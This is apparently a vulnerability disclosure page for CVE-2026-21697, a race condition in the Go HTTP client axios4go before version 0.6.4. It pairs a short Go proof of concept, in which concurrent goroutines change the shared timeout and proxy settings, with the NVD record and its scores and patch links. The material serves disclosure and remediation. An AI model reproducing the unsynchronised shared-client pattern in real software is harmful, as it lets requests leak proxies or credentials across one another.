CVE-2026-21697

// CVE-2026-21697 PoC - Race Condition in axios4go // This PoC demonstrates the race condition vulnerability package main import ( "fmt" "sync" "time" "github.com/rezmoss/axios4go" ) func main() { // Create multiple goroutines that modify client settings concurrently var wg sync.WaitGroup // Simulate concurrent requests with different configurations for i := 0; i < 10; i++ { wg.Add(1) go func(id int) { defer wg.Done() // Each goroutine sets different timeout and proxy timeout := time.Duration(5+id) * time.Second proxy := fmt.Sprintf("http://proxy-%d.local:8080", id) // Race condition: concurrent modification of shared client axios.SetTimeout(timeout) axios.SetProxy(proxy) // Make request - may use incorrect configuration _, err := axios.Get("https://example.com/api/test") if err != nil { fmt.Printf("Goroutine %d: Request error: %v\n", id, err) } }(i) } wg.Wait() fmt.Println("Race condition PoC completed") // Expected behavior: Configuration mixing between requests // Actual behavior: Data race detected or incorrect configurations used }

{"cve": {"id": "CVE-2026-21697", "sourceIdentifier": "[email protected]", "published": "2026-01-07T23:15:50.533", "lastModified": "2026-03-09T13:57:52.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "axios4go is a Go HTTP client library. Prior to version 0.6.4, a race condition vulnerability exists in the shared HTTP client configuration. The global `defaultClient` is mutated during request execution without synchronization, directly modifying the shared `http.Client`'s `Transport`, `Timeout`, and `CheckRedirect` properties. Impacted applications include that that use axios4go with concurrent requests (multiple goroutines, `GetAsync`, `PostAsync`, etc.), those where different requests use different proxy configurations, and those that handle sensitive data (authentication credentials, tokens, API keys). Version 0.6.4 fixes this issue."}, {"lang": "es", "value": "axios4go es una biblioteca cliente HTTP de Go. Antes de la versión 0.6.4, existe una vulnerabilidad de condición de carrera en la configuración compartida del cliente HTTP. El `defaultClient` global se muta durante la ejecución de la solicitud sin sincronización, modificando directamente las propiedades `Transport`, `Timeout` y `CheckRedirect` del `http.Client` compartido. Las aplicaciones afectadas incluyen aquellas que usan axios4go con solicitudes concurrentes (múltiples goroutines, `GetAsync`, `PostAsync`, etc.), aquellas donde diferentes solicitudes usan diferentes configuraciones de proxy, y aquellas que manejan datos sensibles (credenciales de autenticación, tokens, claves API). La versión 0.6.4 corrige este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rezmoss:axios4go:*:*:*:*:*:go:*:*", "versionEndExcluding": "0.6.4", "matchCriteriaId": "53BFBFF7-32A9-4C6A-B563-6CABA5301DE5"}]}]}], "references": [{"url": "https://github.com/rezmoss/axios4go/commit/b651604c64e66a115ab90cdab358b0181d74a842", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rezmoss/axios4go/releases/tag/v0.6.4", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/rezmoss/axios4go/security/advisories/GHSA-cmj9-27wj-7x47", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}